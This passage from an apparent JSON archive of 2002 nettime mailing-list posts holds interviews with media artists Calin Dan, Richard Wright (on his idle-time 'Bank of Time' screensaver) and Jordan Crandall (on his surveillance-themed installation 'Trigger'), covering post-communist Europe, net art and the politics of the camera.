Lux.\n\nGL: Could you describe the Happy Doomsday! environment for us? Is it an\nironic experience?\n\nCD: First of all, Happy Doomsday! is definitely not an information space; it\nstarted that way, but it then became a narrative (after all, I am from the\nBalkans, where people love to tell stories). HD! is a game that deals with\nenormous issues--(political) history and war--in a ridiculous way. Starting\nwith the fact that you have to pump up your muscles while impersonating a\ncountry which tries to destroy another country: it's grotesque! On the other\nhand you have topics like money, vampires, nano-technology, urban guerrilla,\nwars of the future. The method is self-ironic: I am constantly\ndeconstructing my own thinking processes, which is good, since I am a trend\ndetermined animal. The topics are real, but also media induced, and\ntherefore vain. The situation is open, non-oppressive.\n\nGL: To me you are very much a post-89 artist, a New European, not anymore\nfrom the East or West. You moved from Bucharest to Berlin. You are based in\nAmsterdam and recently have spent three months in Vienna. How do you look at\nRomania, ten years after the Fall of Ceausescu?\n\nCD: The more distance I get from Romania, the more I am interested in it.\nWhich is a normal process, I think. Besides that, I developed a conviction\nthat local circumstances considered, each and every different country in\nEastern Europe is a very interesting lab of the future. The conflicts\nbetween various co-existing historical times are much more violent there,\ncompared to Western societies, even though these conflicts exist here as\nwell. The welfare state is dragging the foot here as it tries to survive, if\nnot in the governmental budget policies, then at least in the mentalities of\nthe people. The transformation from a welfare to a neo-liberal system is\nimplying a jungle of legal-to-personal changes, impossible for individuals\nto follow, even if information would be totally transparent. That is because\npsychologically speaking we are living in a cotton environment and do not\nnecessarily feel what is being decided in Brussels, Strasbourg and\nelsewhere.\nWhile in Eastern Europe the impact of the so called globalization, new\neconomy and so on is much more drastic and more on the surface, precisely\nbecause of the specific conditions, which leave those countries more\nvulnerable to changes. What makes the situation there more challenging for\nthe researcher and the activist is the relative innocence of the local\npopulations, which is usually misinterpreting the painful collapse of the\nlocal economies as a transition towards the vanishing welfare state order.\nWhich is of course a procedure of political mythology: there is no such a\ntransition there, just a fall into the reality of neo-liberal disorder. One\nhas to admit that this is a most interesting dynamics.\n\nGL: Do you have any plans to do work in Romania in the future?\n\nCD: I am a believer in the symbolic aspect of culture clashes. Not because\nthey seem so trendy now, if we look at the inflationary ethno-anthropo\ntendencies in music, fashion, art. But because working with remote cultures\ncan still provide us with a lot of information about who we are and where we\nstand. This is certainly linked to my personal experience but also to the\nstrong traditions of anthropological research that Romania developed in the\nlast century. I would like to use this scientific tradition by working in\nRomania or elsewhere, but always in a remote area, using wireless\ntechnology. To build multi-user computer games for peasants and hunters,\nwith customized content, and interfaced with household tools. We still have\nthe chance to grab there a fundamental way of understanding the world and to\ngive it a voice. In a few years from now it will be too late.\nPeople in the Romanian countryside watch TV and meanwhile they still believe\nin vampires; sometimes they even act accordingly, sticking a piece of wood\nthrough the heart of deceased people suspected to be werewolves. You can\noffer to those neo-peasants Internet culture as a shamanic mirror. Not for\nbringing new belief systems into their lives, but for analyzing old ones;\nalso for checking once more if there is real magic in computer environments.\nWhich I think is the case.\n\nGL: Let us go back in time a bit, to Berlin in 1995/96 when you started to\nwork with the photo archive of the former art magazine Arta. You went way\nbeyond the reworking of communist art history.\n\nCD: The 'Art History Archive', as Iosif Kir\u00e1ly and myself baptized the\nproject, became so successful basically because we avoided at all times and\nsometimes against the expectations the obvious political connotations the\nmaterial had. It is significant that one of our works, dealing with an\nomnipresent official artist of the time is called 'The Man Without\nQualities'. In the context of power, art people become shadowy figures, they\nstart to look alike, no matter the political system or its economic\ninfrastructure. Men without qualities gravitate in the high circles of\nWestern cultures and in the shadow of corporations that play the game of art\ninvestment and public spending. In the A.H.A. projects we always started by\nlooking first at the historical data. From there on we extrapolated to a\nsymbolic level. And then we looked for similarities in the art of today.\nIn the beginning of the nineties when we started working together we denied\nbeing artists. It was commonplace then to hate art. Recently we got back on\nthis issue. We use art as a platform for meeting people, for surfing\ndifferent cultural communities. The quality of communication and information\nis higher there, less tough if compared to the technology or to the business\nsectors. subREAL's new series 'Interviewing the Cities' is precisely about\nthat. Meeting people on the basis of their trade as artists, curators,\ncollectors, architects.\n\nGL: Can you tell the story of the negatives you found in the archive? You\nstarted working with them at Akademie Schloss Solitude; part of the work\nproduced there was exhibited in the Romanian pavilion at the 1999 Venice\nBiennial.\n\nCD: In Berlin we worked with an archive of black-&-white photos. After a\nyear of research we knew it almost by heart, and therefore had no curiosity\nfor the negatives in the collection, thinking we knew what the prints would\nbe about. There were dozens of boxes with negatives. In the end we decided\nto have a look at them any way, and that was a moment of revelation. The\nimages in the b/w archive were cropped from 6 x 6 negatives. Artworks are\nusually long or wide, never square. Therefore paintings and sculptures were\njust one part of the image, while a lot of things were happening in the\npicture around them. It took us two years to process this source material in\nvarious formats. Its powers of connotation looked endless.\nAfter that, in the fall of 1999 we went further, and started a new\narchive--ours--by taking photos of people from the cultural world. The new\nproject is called Interviewing the Cities and started in Vienna. The\nprocedures are standardized: we go in the studio of a person we do not know;\nwe introduce ourselves, with a display of books and images of our work. Then\nwe look at the work of the person we visit. We talk about it. It is a\ncomplex therapy of mutual interrogation. After that we take two photos, one\nof the person, another of a piece of work. Iosif and I are always in the\npicture, waving a back drop cloth behind the subject, precisely as in the\nold negatives of the Arta archive. Some people find this cynical. I think it\nis just matter of fact, and somehow humble: an old technique created through\nthe objective need to give a profile to the subject in an environment full\nof accidents. We are there as the 'servants of art', no more than that.\n\nGL: The portraits of the city series have got something extra, something\ntimeless. They do not have that harsh, almost alienated brightness displayed\nby most of the contemporary photography you see in galleries.\n\nCD: subREAL is using old aesthetics. There is no relation to commercial\nphotography in our work. Handmade photography becomes more and more an old\nmedium. In the future it will be praised or despised like painting is today.\nBecause it is handmade, precisely. Today's digital mass photography is\ncompletely different. We believe in old photography because of its rhythms.\nWe are actually interested in moving the universe of our photographs in\nsculpture and painting.\n\nGL: Does Interviewing the Cities have an anthropological aim? You have now\nfinished two series, Vienna and Amsterdam. Do you intend to give an overview\nof the cultural scenes in such places?\n\nCD: It does not offer the context for a systemic approach. It is not a\nscientific research tool, but a diary where events are provoked, if you\nlike, while a lot of room is given to chance. The series will gain\nanthropological value in time, I am sure. That is already obvious after just\ntwo layers of experience: the images from Vienna are so much different--in a\nsubtle way--from the Amsterdam ones. But I think it is too early for me to\nelaborate on the topic of difference in an interesting way. I am now looking\nforward to work in the next town--Helsinki.\n\nGL: In October 1999, ten years after the fall of communism, a survey show on\nEast-European contemporary art was organized by Moderna Museet in Stockholm.\nIs there something like a post-89 conceptual/media arts generation?\n\nCD: Exhibitions like After the Wall are always good because they bring\ntopics together. The art there, in what I would call 'the region' is very\ndiverse, and the differences kept working despite the political unification\nof the cold war era. Russian artists are still very interesting, while\nRussia is a miserable country. We, the Balkan people are not the top of the\npop; there is something divisive and small there. The weaker part of subREAL\ncomes from the Balkans, whereas the better part is Transsylvanian. I must\nadmit that I have a special interest in Hungarian art, probably also because\nas a Romanian I should not like it. I find the Slovenian environment smart\nand sophisticated. Things are happening in the Baltic states also. Certainly\nthe cultural borders within Europe are blurring. There are artists which are\nalready absorbed by the international scene, while others stay local. They\nare not lesser artists, they just have another destiny.\n\nGL: Can we now stop using these regional label that people always feel\nslightly uncomfortable with? Parts of the former Eastern bloc are already\nmembers of NATO. Some of the countries will soon enter the EU, whereas\nothers are fresh battlefields, poverty zones. Belarus is still a\npost-communist dictatorship. And then there is Russia, which seems a case in\nitself.\n\nCD: As far as things develop normally, which is hard to believe, art will go\nits way. People from the region can focus now more organically on the\nregion's needs and figure out wider strategies. Local and regional networks\nare slowly building up next to Western influences and policies. Also, a\nshift seems to be operating on the periphery. This buzz word from the\nbeginning of the last decade starts to be operational now, and the\nconnections on the North-South axis became suddenly real. This is an\nextremely interesting period. Also a somehow naive one. In perhaps thirty\nyears from now we will have a very different look at the turn of the 21st\ncentury. We will not understand why things were not moving faster, and why\nwere we so enthusiastic about the wrong things. But that happened before,\ndidn't it?\n\n(Orginally published in the Atelier magazine, SCCA, Bucharest)\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Wed, 3 Apr 2002 09:40:13 +1000",
                "to": "\"nettime-l\" <nettime-l {AT} bbs.thing.net>",
                "message-id": "200204030650.BAA15256 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0204/msg00014.html",
                "list": "nettime_l",
                "author_name": "geert",
                "subject": "<nettime> Interview with Calin Dan"
            },
            {
                "content-type": "text/plai",
                "from": "atthew fuller <matt {AT} axia.demon.co.uk>",
                "id": "00085",
                "content": "\nGrowth Through Idleness\n\n\nThe following interview with Richard Wright covers material related to\nthe Bank of Time.  It was carried out by email over late March, early\nApril 2002.\n\nMac and Windows versions of the screensaver are available from\nhttp://www.theBankofTime.com/\n\n\n\n\n\nMF: Your recent project, The Bank of Time is a screensaver that also\ninvolves a variety of other processes.  Can you give me a brief\ndescription of the work?\n\nRW: Yes I can. The Bank of Time is a screensaver that saves your idle\ntime. It uses this idle time to grow virtual plants on your desktop. It\nalso uploads this idle time to the web site where it ranks and displays\neveryones time in a Performance Table. Your idle time is turned into an\ninvestment that grows as you watch on your desktop. Growth through\nIdleness. An economy of lost time. The plants grow in (somewhat speeded\nup) real time by downloading time lapse images. After each plant has\n\"matured\" it goes on to decay and die. After which the user can chose\nanother plant to grow in an endless cycle of boom and bust. The more idle\ntime the user accumulates the faster the plant will grow. This also means\nthat their name and plant will rise further up the Performance Tables as\ntheir growth rate increases. Soon everyone will be working hard to waste\nas much time as possible.\n\nMF: If people are going to use a screensaver, one that uploads data to a\ncentral hub, why would they not choose to use something such as Seti {AT} home\nor the software produced by Oxford University's professor of computational\nchemistry which allows the use of 'idle' machines to search through\nchemical data to search for possible information on the structure of\ncancers or anthrax molecules?\n\nRW: Of course, that is turning idle time into an economic resource. That\nshows how the computerised environment can define and capture all forms of\ntime. Even the irrational moments of absence or non-purpose can be\nabsorbed into its economy. But the primal form of absent work is the\ninvestment. The form of \"work\" which appears at the dawn of capitalism.\nInvestment is the way that you can create value without labouring, it is a\nway of \"making your money work for you\". Investment substitutes effort for\nrisk. But that risk is only worth taking if you can be reasonably sure\nthat your investment will continue to grow despite minor fluctuations. You\nwouldn't want your idle processor cycles to be used to try to solve\nproblems like how many angels you could fit on the head of a pin. You\ncouldn't be sure that such a problem could ever make progress. But perhaps\nproblems like finding extra terrestrial intelligence or finding a cure for\ncancer will eventually prove unsolvable as well. There is a risk involved.\nPerhaps all those processor cycles will have been invested unwisely, the\nscientific equivalent of the dot.com bust.\n\nThe Bank of Time project tries to complete this image of risk. In\nfinancial promotions the germinating plant or seedling is a constantly\nrecurring image. For savings accounts, shares and investments it expresses\nthe myth that your money will grow naturally and inevitably towards its\nmaturity. There may be an element of risk, but it is possible to minimise\nthis through wise management and faith in the potential of modern economic\npolicies. The fact that the plant will wither and die after its mature\nphase is conveniently ignored. But this fact is recognised in certain\ncultural forms such as during the Baroque. At that time the image of the\nfaded flower was a constantly recuring motif that expressed, in contrast,\nfeelings of insecurity about the current state of European affairs and the\ninstability and transience of the political and economic climate in the\nC17th.\n\nSo I would say that people would chose The Bank of Time over any of those\nother geezers because at least they always know what the result of their\n\"investment\" will be, even if that result is not in accord with the most\nBullish forecasts for our economic and scientific futures.\n\nMF: The design aesthetic of the site is notable for looking absolutely\ndisimilar to an artists site.  No nods in the direction of low-tech,\ninfo-accidents or quirkiness of structure.  It looks like a small\norganisation web-site, designed by someone trained in graphic design. Why?\n\nRW: The design of the web site is a pastiche of the design of web sites\nfor bank and financial services. I didn't want a web site that told the\nviewer that this was an art web project. I wanted something that would\nappear unthreatening to people from outside the art community. It seemed\nunlikely to me that many \"normal\" people would take the risk of\ndownloading an executable from an unknown web site and entering their\nemail address unless it looked safe. The unusual function of the Bank of\nTime is quite explicity stated and does appear to be in contrast to the\npedestrian design of the site, but I wanted to see what would happen if\npeople were lead more gently to the full implications of what was\nintended, like a trojan horse. The design also means it fits quite\ncomfortably into magazine cover CDs, shareware and screensaver download\nsites. Of course, this may have had the effect of putting off people who\nare from the media art world who might see it as an innocuous hobby site,\nbut they have had things tailored to their tastes for long enough. And\nbesides, the art world has had a tendency to slavishly follow trends in\npopular media rather than recognise already existing projects by artists\nthat address similar issues. So one day if the project continues growing\nin popularity it could become a trojan horse for the art world as well.\n\nMF: I recently heard from Lynda Morris, curator at the Norwich gallery,\nthat one of the important functions of art is to act as a repository for\nmemory outside of the 'productive' time of capitalism, a form of time\nwhich serves to erase memory and differentiation.  She was referring to\nelements within art on a representational level, such as Gerhard Richter's\npaitings of the Red Army Fraction, or the art historical memory of the\nrefusal of a visa to Picasso by the US because of his party communist\nopposition to war.  This creation of a space for memory or of valuation\nover time is also often a capacity of specialised cultures in general. You\ncan think of political or religious currents obviously, fan cultures,\nmusic scenes, emulators.  It seems you use the space of art to describe a\ndifferent potential for time, though not of memory but idleness.\n\nRW:  I once described my work as trying to get people to remember things\nthat they would rather forget - the Eighties, the Millennium Bug, etc. And\nin The Bank of Time there are references to the dark side of commercial\niconography that is always ignored. Such as the use of images of young\nplants and seedlings in advertisements for investments and savings banks\nto suggest an idea of financial growth leading to maturity and dividends.\nThe fact that after a plant has reached maturity it will inevitably wither\nand die is never acknowledged of course, that part is forgotten just as\nthe fact that your investments can go down as well as up is relegated to\nthe small print. But in The Bank of Time the users have to witness the\nplant proceeding through its entire life cycle from germination to death.\nSo there is a level at which I try to restore a full image that has been\npartially forgotten.\n\nBut also it is true that media allows you to move beyond representation\njust as the information society is not just about representing social\nentities but actually constitutes the very fabric of society. And this\ngives you some access to peoples patterns of behaviour through how they\nare constituted by computerisation and their desktops for instance. The\nBank of Time visualises the users idle time which is not really the same\nthing as repesenting it. It means that the user can control the image by\nbecoming aware of and learning to regulate the growth of their idle time,\na form of perception which occurs as much through the mechanism of work\npatterns and time management as it does through the mechanism of memory.\n\nThere are all sorts of aspects of the Bank of Time that are included for\nreasons of visual aesthetics. When I first built the project I remember\nhaving discussions with colleagues who tried to get me to drop the whole\nnotion of having plants growing on the desktop. They found this aspect\nsuperfluous to the central idea of rationalising and resourcing idle time.\nWithout this, the screensaver would simply have consisted of a display of\nthe users accumulated idle time and related statistical information. But\nthis one dimensional conceptualism that currently dominates avant garde\nart and media art is harmful. I would say that without the motif of the\ngrowing plant the Bank of Time would not really be understandable.\n\n\nMF: One of the interesting aspects of the work is related to this\naccretion of visual modes.  In a way it's kind of like the display on a\nvideo game, where you might have say, ammunition and health indicators,\ndirection info, plus a 'realistic' main view with layered depth: a\ncompound visual space in which a patchwork of styles and rythmns operate\nin the same frame.  In Bank of Time, there's a strip of user data like a\nnews-ticker giving the extent of use in seconds, user name and plant\nspecies; a foreground image, sharp photographic, of a patch of soil which\nleaks a plant; a backdrop which looks like a kind of painterly cloud; a\nfew types of rain spatters, which look as if they are hitting the inside\nof your screen as a window, a lense; the software logo and a link to the\nwebsite; a small version number and copyright declaration tucked into a\ncorner.  It a very mixed visual space, with some elements operating in\nrelation to others, others discrete.  Your work in video is also very\ndense visually. here though there seems also to be a certain density of\ninterfaces to data-architectures as well as symbolic styles.\n\nRW:  Yes, it's the info image, the image that incorporates many data\nobjects by reducing things to numerical representation (or visualisation).\nBut unfortunately that also implies a kind of info perception, that the\nviewer can absorb and integrate a variety of different levels of\nperception - affective, informative, symbolic and so on. A growing problem\nwith the video work was of coming up against the practical limits of this\nin a format that is viewed in linear time, especially in a theatrical\ncontext. Multimedia is a way of accomodating this, specifically by\nbuilding into the structure of the work the specific temporal conditions\nin which the work is to be viewed. I suppose this is what they mean by\n\"logistics of perception\". The Bank of Time tries to base its particular\n\"logistics\" on cultural forms - Baroque allegory and the iconography of\nthe time economy.\n\nThe Bank of Time is technically an animation of a plant growing, but where\nthe viewing logistics of the animation have been reconfigured. The frame\nrate of the animation is controlled by the user's idle time. The more idle\ntime they accumulate the faster the image is updated. It is a form of film\nmaking in which the cinematic representation of time is reconstructed by\nthe computerisation of the viewers organisation of their time. This was\nwhere the idea for the work originally came from in fact.\n\nMF:  Perhaps related to this is amount of time it takes to 'watch', or\nsimply to be aware of.  The life-cycle of a plant is shrunk down, but at\nthe same time, you extrude the length of time which would normally be\nspent looking at any one piece of visual material, a film, installation,\npicture, and so on.  It's longer than a novel, but less than a garden, but\nalso the way in which you experience it is less direct, it's something\nthat goes on in the background, in the corner of your mind's eye.\n\nRW:  Like a Warhol film, it has a lot to do with the experience of\nduration. Can you feel time passing? In the early stages of a real plant\nyou can almost see it grow, maybe a centimeter or two a day. The ability\nof time lapse cinematography has already changed how we can feel time. We\ncan compress the life history of a plant to a few seconds and suddenly we\ncan see what was there in front of our eyes. We can see the plant moving,\nit has a choreography. The Bank of Time might be said to reverse this\npoint of view by intensifying the experience of our own cycles of time\nthrough the image of a plant.\n\nMF:  Following on from the work's relationship to more familiar art\npractices, I heard Pit Schultz say recently something along the lines that\nNetwork Art or Media Art will never be 'properly' established as art\npractice precisely because it is too much already a part of media culture.  \nThere is no distinction, in both sense of the word. Obviously such a\nsituation has its advantages, but it also seems interesting in relation to\nvideo.  There is a desire, stuck on perpetual loop since its inception,\nwithin video art scenes to establish some kind of functional distribution\nmechanism for the work. Might we see in the way that BoT has circulated an\nexample of how Net Art achieves this distribution, but in a way at the\ncost/advantage of a certain institutional invisibility - because it fuses\nso much with general, popular, media cultures?\n\nRW:  Is it too subtle? Too cunning for its own good? Has it been set to\n\"auto-recuperate\"? At least I have made no money from it so I cannot be\naccused of acting in bad faith. The Young British Artists are also now\npart of media culture - their work is part of media because it is Art,\nwhile the Bank of Time is part of media because it is Media (Art).\n\nSo everything is absorbed, high-brow or low-brow, it's a question of\nwhether you can pull it off on your own terms. At least media artists\npresumably go in with their eyes open, it is a practice that can at least\nrecognise and reference its own position in the media universe. The curse\nof the Avant Garde - to find ever new ways to be even more painfully aware\nof your own marginalisation. But that's still a step in the right\ndirection...\n\nMF:  Yes, but perhaps there are also many scales and speeds of media\nculture.  Not just those that are implemented as mass culture for sure. In\nthat sense, I think the comment was intended to talk about a potentially\nwider, or more varigated, field of play available to such activities.\n\nRW:  I would say the terms in which the original question was put is the\nproblem. The original comment seemed to be concerned with the way in which\nmedia culture prevented media art from becoming established as a canonical\nform. Media art could become a specialised media culture, a network of\nofficially sanctioned web sites and distributors, which is what has pretty\nmuch already happened. But of course this isn't really the kind of media\nculture that we like to imagine. The big opposition to this is seen by the\nestablishment as being mass culture, from which Bourdieu teaches us it\nmust \"distinguish\" itself. Whether media artists can create yet another\nmore \"varigated\" alternative is a different question, not necessarily of\ninterest to the \"proper\" art world (nor, unfortunately, to Bourdieu).\n\nAs far as setting up your own media art \"ecologies\" is concerned, that's\nfine. As long as you realise that you always need an \"interface\" with the\nrest of the masses, otherwise it's just media art cliques. Other than\nthat, this is just too big a subject to take on here.\n\nMF:  I like the idea of non-local time-agglomerations being networked, a\nparticular pocket of a time space being linked via network to other such\npockets.  (And you can see this also in companies working across\ntimezones, love affairs via text, any set of relations which accentuates\ncertain kinds of shared time.)  Obviously such relationships between time\nand space are not only cosmological, but political - think of the\nextraordinary condition imposed on Mexico's joining NAFTA that it adopy\nDaylight Savings Time.  Bank of Time seems to form another, topological\nand intensive rather than cartographical and extensive relationship\nbetween time and space?\n\nRW:  I suppose generally once the regularity of events or relations can be\nrecorded, ordered and compared then you will get pockets of time space\nemerging extemporaneously, Captain. In fact my work days are frequently\nconducted under the auspices of the TV schedules - \"Womans Hour\" is\nbreakfast, \"Crossroads\" is dinner time, and \"The Simpsons\" is tea time.\nAnd I feel comforted that millions of workers over the nation share a\nsimilar time space depending on their sense of humour. I just hope nothing\nfunnier that \"The Simpsons\" is ever transmitted at 6 o'clock or I will be\nin danger of choking on my chipolatas.\n\nMF:  Following on from that, has any cross-networking of Bank of Time\nusers occured?\n\nRW:  Such cross-networking may have happened as there are now thousands of\nusers subscribed, but that's up to them. I wouldn't have imagined so as\nthe relationship between the users is not personal. One thing that I\nwondered would happen and actually does happen is people in the same\nworkplace all installing the screensaver and then racing them on their\nmachines. It just goes to show how desperate people are to relieve the\ntedium. It's not too dissimilar to the kind of spy software that employers\nuse to track the work patterns of their employees. But given the right\nincentive, we see that people are only too willing to give away that sort\nof information - as long as it's spy software that ensures people waste\nmore time.\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Fri, 12 Apr 2002 10:42:23 +0100",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200204122208.SAA15360 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0204/msg00085.html",
                "list": "nettime_l",
                "author_name": "matthew fuller",
                "subject": "<nettime> Interview with Richard Wright / Bank of Tim"
            },
            {
                "content-type": "text/plai",
                "from": "Roseira {AT} gmx.de",
                "id": "00108",
                "content": "\n\nJordan Crandall and I would like to submit this interview for the list.\nThanks!\n\nRosanne Altstatt\nDirector, Edith Russ Site for Media Art, Oldenburg/Germany\n\nInterview with Jordan Crandall on the \u0093Trigger Project\u0094 by Rosanne Altstatt\n\nRosanne Altstatt: Even though you are most well known for your film and\nvideo work, I\u0092d like to start this interview with a question about your\ndiagrams. Their dynamics are so different from the slick impressions your\nmoving images make. The pencil drawings are more intimate, like an inward\nspinning force. What is the relationship between the two?\n\nJordan Crandall: My work begins with these diagrams. They are the key to\neverything. They map the processes that give rise to the structure,\ncontent, pacing. And many of them are in a very personal zone, close to\nthe body \u0096 they are dealing with the space between eye, viewfinder, and\ntrigger. I\u0092m probing deeper into a psychological realm, and so I\u0092m very\nglad that the diagrams evoke that intimacy, even as they are also\nconnected to larger militarized systems. And they also really show the\nwork of the hand, which is just as present as anything\ntechnology-mediated.\n\nRA: During the first week of our exhibition you held a workshop which\nacted as a production phase of your new work \u0093Trigger\u0094. What did you hope\nto accomplish in the workshop?\n\nJC: In order to precisely orchestrate this dual projection installation,\nyou have to conduct many tests. The scale of the Edith Russ Site for Media\nArt is perfect for testing the dynamic between the actors on screen, the\nprojection scale, and the audience viewing patterns. We are in the process\nof improvising the actual film set and shooting various test scenes. Then,\nimmediately, we can project these tests on the walls and see how they\nwork. From these tests, the final storyboards will be developed. So three\nthings are going on: a mock film set allows us to generate test footage;\nthe test footage is projected on the wall in order to see how it works\nwhen installed; and a final storyboard coalesces as the exhibition plays\nout.\n\nRA: \u0093Trigger\u0094 will be projected onto opposite walls. Why did you choose\nthis form?\n\nJC: I want to integrate the viewing audience in the drama between two\ncharacters as they hunt each other. You will have to physically turn your\nbody to face one screen or the other. So you can never really encapsulate\nthe entirety of the production from a comfortable external position. You\ncan't master it as you can if you are focused on a single screen. It moves\nquickly and you're always going to have a different experience, because\nyour body has to be as hypervigilant as the actors on screen. You have to\nbe quick, attuned, agile like a good soldier.\n\nRA: Are you really making a parallel with soldier-skills and\nviewer-skills?\n\nJC: To the extent that they are sharing a condition of hypervigilance,\nwhen all of the senses are heightened.\n\nRA: The story has to do with two soldiers watching each other through\ntheir sights. This seems like a familiar theme from many Hollywood war\nmovies. Did certain films come to mind while conceiving \u0093Trigger\u0094?\n\nJC: Yes, there are lots of Hollywood precedents, countless war films that\nI've seen. My references are small moments, usually structural and\ninvolving some kind of subtle camera intrusion. You wouldn't know it\nunless you were looking for it. There is a scene in Kubrick's \u0093Full Metal\nJacket\u0094 for example where the film camera pans up as the soldier's rifle\nraises up, and it tries to align itself through the soldier's gun sight.\nYou have the camera, the audience eye, the soldier's gun sight, and the\nsoldier's eye all trying to align in order to \u0091get the shot\u0092 \u0096 the shot\nthat \u0091takes\u0092 the picture but also the life of its human target. Through\nthe alignment of eye, machine, and viewfinder some kind of artillery\nissues forth, connected through the conduit of the hand on the\ntrigger-shutter, where human beats and machine beats synchronize. I'm\nlooking for a camera that is never innocent, the sights that are always\nsubject to control technologies and conventions, and the constitution of\nthe shooting-victim.\n\nRA: I'm not so sure everyone in the camera's viewfinder would consider him\nor herself a victim \u0096 but what would the constitution of a shooting-victim\nbe?\n\nJC: I don't necessarily mean that to be the case. But there is always a\npower dynamic. The shooting-victim is a casualty of the image-seeking\napparatus and/or gun. I\u0092m trying to make a term that evokes the violence\nalso perpetrated by the camera and all that it stands for.\n\nRA: After going to acting school, you began making films and videos\nyourself. What made you switch sides?\n\nJC: I enjoy experiencing both sides of the camera. And now there are not\nonly two sides, but many. I want to try out all of them.\n\nRA: You must be referring to the use of various camera technologies and\nperspectives \u0096 something of a post-cinematic language, which I\u0092ve read\nabout in your previous interviews.\n\nJC: Yes. With the use of surveillance and tracking systems, and with\nmilitary-derived images such as those from night vision cameras or those\nstreamed from camera-mounted smart bombs, we have all kinds of new visual\nformats in play. I'm interested in the ways that these new systems become\ninternalized, and how they become part of new visual languages that\nchallenge cinematic conventions as well as the power dynamics inherent in\nthis. I'm also interested in the difference between terrestrial and aerial\nlanguages and the whole lexicon of analyzing and reassembling terrestrial\nmotion from the air.\n\nRA: What is your visual vocabulary for \u0093Trigger\u0094?\n\nJC: There is a play between cinematic (terrestrial) surveillance and\nsatellite views. I also use an eye-tracked synchronization system, which\nautomatically aligns weapon and fighter gaze, even if they are not\nconnected. This questions conventions of cinematic continuity and cohesion\nwhile it also raises contemporary issues of networked embodiment. There\nare specific targeting formats I use which operate as new forms of\nperspective-construction \u0096 certainly in a more military sense but as\ngeneralized control technologies nonetheless. Overall I am orchestrating a\nfracturing and linkage of viewpoints across human and machinic systems,\nand linked to very specific camera orientations that are politicized. The\nspeed and efficiency of the networked flows, sorted through the logics of\nthe database, constitute an artillery-like force. There is the question,\nnow more than ever, of what a camera constitutes and who is the agency\nconnected to it, and how to visually represent a complex and often very\nnon-visual system.\n\nRA: Tell me what you mean by agency in this case. Are you talking about\nwho is steering the camera or the purpose behind the use of the camera?\n\nJC: Both. The form and observing capacity of the seer, along with its\nintention and its ability to act. We don\u0092t ask these questions with the\nuse of a film camera because the cinematic technology is so normalized.\nThat is one of the reasons it is so interesting to use militarized\ntechnology. It is not yet internalized so one has to immediately ask about\nthe agency behind the camera. What is the difference between how a\npolicing system watches and how we watch? How the military sees and how\nthe media sees? It also brings these questions to bear on how we see\nthrough the very normalized technologies of mass media, in a way of\ninstituting our own personal kinds of policing. We say, \u0093\u0091I\u0092 stand here\nagainst \u0091them\u0092,\u0094 and we fortify a border. We justify an attack, personal\nor otherwise, against an opponent against which we stand. There are all\nkinds of combat situations in everyday life, all kinds of border-shaping\nprocesses that suggest who we are and what kind of person we are becoming.\nBunker-building begins at home. In the setting of \u0093Trigger\u0094 there are\nstructures that evoke hybrid home-bunkers in various states of\nconstruction, in order to suggest metaphorically this processes of\nfortifying barriers on the domestic front.\n\nRA: You are talking about the three structures we will have as the film\nset in the exhibition hall: a bunker, a wooden wall with a window, and a\ncement block house. But you also refer to combat situations in everyday\nlife and personal policing. What kinds of personal bunkers do you think we\nare building as a result of increasing surveillance of everyday life?\n\nJC: Surveillance can help generate a kind of safety bubble \u0096 a realm where\nwe feel we are being protected against crime. It\u0092s fortified by ideologies\nand practices. It\u0092s also part of a process of subjectivization, a bubble\nof interiority that helps to determine the contours of the self. It is\nalso linked to the formation of group identities. There is a mobile and\nprotean architecture to it. We have all our little vehicles that we travel\naround in like cars, in a culture that oscillates between atomization into\nfractured units and grand unifications, visible in concepts like the\nnational missile shield.\n\nRA: As you've stated in previous interviews, \u0093Drive\u0094 (1998 \u0096 2000) and\n\u0093Heatseeking\u0094 (1999 \u0096 2000) are very much about movement, flow and the\nrhythms of the body. Though these two series did have a violent edge to\nthem, \u0093Trigger\u0094 promises to be much more about vision as a weapon. Yet\nmany decades of increasing camera surveillance has led to people being\nmore comfortable with the idea of being constantly watched. Don't you\nthink the tension has lessened?\n\nJC: Yes. Which is why I am interested in two things here. The first is the\nerotic, because there are the pleasures of being observed, which we are\nonly beginning to discover and which are very difficult to square with\ncertain political agendas, such as those dealing with privacy issues.\nBeing observed, surrendering one's private life to the gaze of an other,\ncan have a distinct erotic edge, especially for a younger generation. The\nsecond is politics, because we have to confront the agencies behind the\nlessening of this tension. Whenever surveillance is justified in the name\nof safety or protection, it is we who have to go on high alert. This\ncuddly, friendly surveillance \u0096 justified in the name of convenience,\nsafety, efficiency, reliability, and stylishly glossed with a modern d\u00e9cor\n\u0096 is a dangerous thing when its politics are vanquished. For the most\npart, we're not talking about surveillance cameras anymore, but tracking\nnetworks connected to vast database systems, which are increasingly\ninvisible as they are pervasive.\n\nRA: There is a definite erotic edge to \u0093Trigger\u0094, yet you cut some of the\nscenes with a sexual character that were planned.\n\nJC: All of those scenes will still be there. What I cut were the\nexplanations, because it is so difficult to articulate this erotic\ndimension in text form. I've decided to let the erotic play out in visual\nand structural terms without feeling the need to write about it. I don't\nwant to theorize about it \u0096 I want it to be something that undoes theory,\nsomething that traffics under the surface and questions all of the tidy\nconclusions that we make. In a sense, the erotic is the great other. We've\ngot to pay attention to what it tells us, but what it tells us is not\nsubject to our laws of order. The question is how to maintain that tension\nand develop a politics from it \u0096 a politics that would seem to contain its\nvery antithesis.\n\nRA: A politics of the erotic? You've lost me here.\n\nJC: Well, I don't really know what it means either. It doesn't add up, but\nI guess that's the point. It is a politics that would undo itself. I'm\ntrying somehow, through visual and diagrammatic work, to ventriloquize it.\nIt's like Lyotard's matrix figure \u0096 a \u0091form\u0092 that figures recurrences, but\nwhich in the end is not really a form but a kind of anti-form. In a basic\nsense, though, you could say that if there is an eros of power, there is a\npolitics of that eros.\n\nRA: The erotic is not just the great other, it's the variable in the\nsystemized machine. 